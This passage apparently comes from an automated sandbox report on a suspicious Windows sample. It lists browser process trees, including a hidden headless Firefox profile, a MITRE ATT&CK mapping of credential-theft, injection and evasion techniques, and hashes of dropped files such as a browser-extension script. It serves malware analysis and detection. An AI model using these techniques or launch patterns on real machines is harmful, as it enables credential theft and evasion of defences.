    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5860,i,689284508147060586,4729644691335716674,524288 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:14
    3⤵
    PID:2888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5992,i,8098544430560992143,15573577001080262982,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:1
    3⤵
    PID:5116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6016,i,4131888908341308192,16294359866673505917,524288 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:14
    3⤵
    PID:6048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6248,i,3124936146877822563,6422939841400752726,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:1168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5672,i,945457137463157637,15216460770574568038,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:1
    3⤵
    PID:3372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4544,i,116881105395349831,7403330075394033689,2097152 --field-trial-handle=1912,i,9451402004686064292,2752800393786648338,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:9
    3⤵
    PID:1468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x318,0x7ff80d58c188,0x7ff80d58c194,0x7ff80d58c1a0
    3⤵
    PID:1768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1856,i,794140890332235165,1872464893372441944,524288 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1704,i,4052950225346006171,15436317911055152086,262144 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:2
    3⤵
    PID:2612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2248,i,858113096173295342,13557605796750503376,524288 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=2460 /prefetch:13
    3⤵
    PID:3964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3524,i,1961234027005613389,14815361152288453672,2097152 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
    3⤵
    PID:2256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3552,i,3374801093614999724,16760608400982255850,2097152 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
    3⤵
    PID:3476
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4164,i,9096991897654349902,13236603138957519845,2097152 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:1
    3⤵
    PID:1104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4180,i,11921806849106077832,16657360311860511920,2097152 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:9
    3⤵
    PID:1268
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3744,i,12772390797247354103,6541141909458367289,524288 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:14
    3⤵
    PID:1800
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5360,i,6122930387469344177,5638607100495348946,524288 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
    3⤵
    PID:2956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5376,i,14549835647975898457,15668037526589178914,524288 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:14
    3⤵
    PID:2348
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,17121371456522950504,6971839422443224269,524288 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=6604 /prefetch:14
    3⤵
    PID:4976
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,17121371456522950504,6971839422443224269,524288 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=6604 /prefetch:14
    3⤵
    PID:5720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6864,i,16817175483854990047,10805213463826433695,524288 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=6832 /prefetch:14
    3⤵
    PID:1168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6712,i,17586686529355546931,3879118977689034190,524288 --field-trial-handle=2292,i,1477911362066721140,6505062097148704127,262144 --variations-seed-version --mojo-platform-channel-handle=6700 /prefetch:14
    3⤵
    PID:3676
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:4008
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    PID:5580
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2784 -prefsLen 24445 -prefMapHandle 2788 -prefMapSize 268500 -ipcHandle 2852 -initialChannelId {fda14eed-5b38-435b-8316-4ea240cf4a71} -parentPid 5580 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5580" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:3188
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1832 -prefsLen 24657 -prefMapHandle 1924 -prefMapSize 268500 -jsInitHandle 1664 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1812 -initialChannelId {5662dee5-682b-4264-b33c-2c28fc8190ac} -parentPid 5580 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5580" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      PID:4276
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3788 -prefsLen 25541 -prefMapHandle 3792 -prefMapSize 268500 -ipcHandle 3840 -initialChannelId {f0461755-6f8b-4c14-a695-d5e885c4a63e} -parentPid 5580 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5580" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:4760
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4084 -prefsLen 25604 -prefMapHandle 4088 -prefMapSize 268500 -jsInitHandle 4092 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4104 -initialChannelId {53c5cadc-daef-445d-b5a4-5893f66f7879} -parentPid 5580 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5580" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      PID:4320
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4816 -prefsLen 36486 -prefMapHandle 4820 -prefMapSize 268500 -ipcHandle 4880 -initialChannelId {2ee0af76-0a08-428f-a562-a73a00ec995d} -parentPid 5580 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5580" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      PID:5160
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5016 -prefsLen 34446 -prefMapHandle 5044 -prefMapSize 268500 -jsInitHandle 5048 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5056 -initialChannelId {a47caf05-f276-4968-ba3a-b031bdcb2bdc} -parentPid 5580 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5580" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      PID:4328
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5108 -prefsLen 34446 -prefMapHandle 5112 -prefMapSize 268500 -jsInitHandle 5116 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5128 -initialChannelId {53c826de-bf21-476a-ad17-62df15a60935} -parentPid 5580 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5580" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      PID:4600
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5128 -prefsLen 34446 -prefMapHandle 5116 -prefMapSize 268500 -jsInitHandle 5112 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4772 -initialChannelId {1fc93a8f-2598-4afb-9151-d728826e223d} -parentPid 5580 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5580" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      PID:1768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2880

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:6024

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2668

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 681e290bf5189cc5423e26475dd5ccb15e8d1bf391446f76642a8f3363991b9e
MD5 7b5595a55ea286ba500a300fd0a7d2aa
SHA1 15c38b855b4f1b4057ab8d7cb66014fe43363a66
SHA512 c7507fb1cfc86e5f7cf92dec03d2e0bbaa3accddaf3083d989c6ea9dfa7d6e5e89bae29bb8b78ac0925902a89bad3ae36c0fafe9737438afef897edffbef22b7
SSDEEP 192:cRirXcBXv7H1APRp2b9OHsb+WNngf08QaKkwLVyIsnAUgR:cRirXS/bAXokwQ0XtR
TLSH
T13332962DAD24B43B5CDAD629FA21B783E7F9103670941E84EAFC893D14E75CC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 9161c7585aebdceb47032aef38c9c99e9abc4c6b456712782094691b86bcfe15
MD5 c326c9a12109df26d71392a2f6b1532a
SHA1 1fa14ebe0aa3a82f84e276710e80969e7c405f7a
SHA512 62c98869aa66205d8228730437ead99a49a44f667f3fa8e567c1a13ff49babb8e5acf9de959b79b0f2b321ec71fa89b6ba9aa01b637da4575e53df38982bd650
SSDEEP 192:eNG4K6cC7KxkXqK4I40pUZNCgVLHrKHfFKslEIJLXzKD/4j+ErUkKN9aoGRXSsVl:QGjDC7KxkXqKf/pUZNCgVLH2HfgslDLn
TLSH
T10532D827948DA93F4FD8D51DCC576F8FBCB5029266680D2456FB9C0803A9BCE114A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 138KB
SHA256 a8263b29db5f9b1f76460c67a38ac1475581185e99c50323ae58467c607d0769
MD5 8bbc9875f6c620402c5be10dc07292e9
SHA1 c90bfc8e3c667fa0a8c3f87b4bab0608ae8f95ef
SHA512 80f93c848321b66cbea5ea27bf65af5530585e9ca8c876289096397a0b9ae8be7181c5f504f04cca69660725e063400bdac8e6332be977d2f95a921f91c2aec3
SSDEEP 3072:szqSkrBgOiT+IYXlmkIgz4ipYxfec/IGN9xYlr0GVpWVskGzRn:XB8+IYXpzwxfec/zJ8jVTn
TLSH
T10AD31272B63E6E5249BC9835612A2663519410233C14EB96DAC23B1373CF98F1FD09EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 a362d62b787985ddf6898149a6bd7b391793c1312c99b890e7649bea97520e52
MD5 08f864a8c134a7ea6276fd1092b5b897
SHA1 ec01cc3646b8b273e3e3b2bf3a93e9c8f6bd9724
SHA512 96055446492cdd5d180121a87fa3fb6f8053247339d4da2fb826b7363d7deeafce2e28ffb202092bf9f5b6c417674f14c79968f09dcdf622a6b39065b050d2a2
SSDEEP 96:E3C0d+OBIsu/Fl3fIUKsI8EnZIJRDotok5ciDHB6m8dGyvELkzAirbuj1v4a:kC0pB+fTbnvDUDnh4w/gAirbu1
TLSH
T11FA12B35A8B8887755B5C584B5963E43CFB862ABE8109F80D9DE1F0D11B71F82381E67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a0b193400a27c0cdf94ac11f5fb5b0747828b5b461169cefeffb96191b9e4834
